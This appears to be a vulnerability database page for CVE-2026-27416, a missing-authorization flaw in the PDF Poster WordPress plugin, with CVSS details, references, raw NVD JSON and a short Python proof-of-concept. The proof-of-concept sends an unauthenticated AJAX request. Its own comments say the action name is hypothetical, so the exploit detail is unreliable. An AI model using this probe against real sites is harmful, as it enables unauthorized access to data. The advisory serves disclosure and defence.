CVE-2026-27416

Description

Missing Authorization vulnerability in bPlugins PDF Poster allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects PDF Poster: from n/a through 2.4.1.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

bPlugins PDF Poster <= 2.4.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_vulnerability(target_url):
    """
    PoC for CVE-2026-27416 (Missing Authorization)
    This script attempts to access restricted data without authentication.
    """
    # The vulnerable endpoint is typically an AJAX action
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload often involves a specific action defined by the plugin
    # 'pdf_poster_list' is a hypothetical action name based on the plugin functionality
    payload = {
        "action": "pdf_poster_get_data", 
        "nonce": ""
    }

    try:
        print(f"[*] Sending request to: {ajax_url}")
        response = requests.post(ajax_url, data=payload, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request successful. Check response content for sensitive data exposure.")
            print("[+] Response body:")
            print(response.text[:200]) # Print first 200 chars
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://example.com" # Replace with target URL
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27416
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27416
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27416/
[4] VulDB https://vuldb.com/cve/CVE-2026-27416
[5] https://patchstack.com/database/wordpress/plugin/pdf-poster/vulnerability/wordpress-pdf-poster-plugin-2-4-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27416", "sourceIdentifier": "[email protected]", "published": "2026-05-07T09:16:27.347", "lastModified": "2026-05-07T14:00:48.567", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in bPlugins PDF Poster allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects PDF Poster: from n/a through 2.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/pdf-poster/vulnerability/wordpress-pdf-poster-plugin-2-4-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}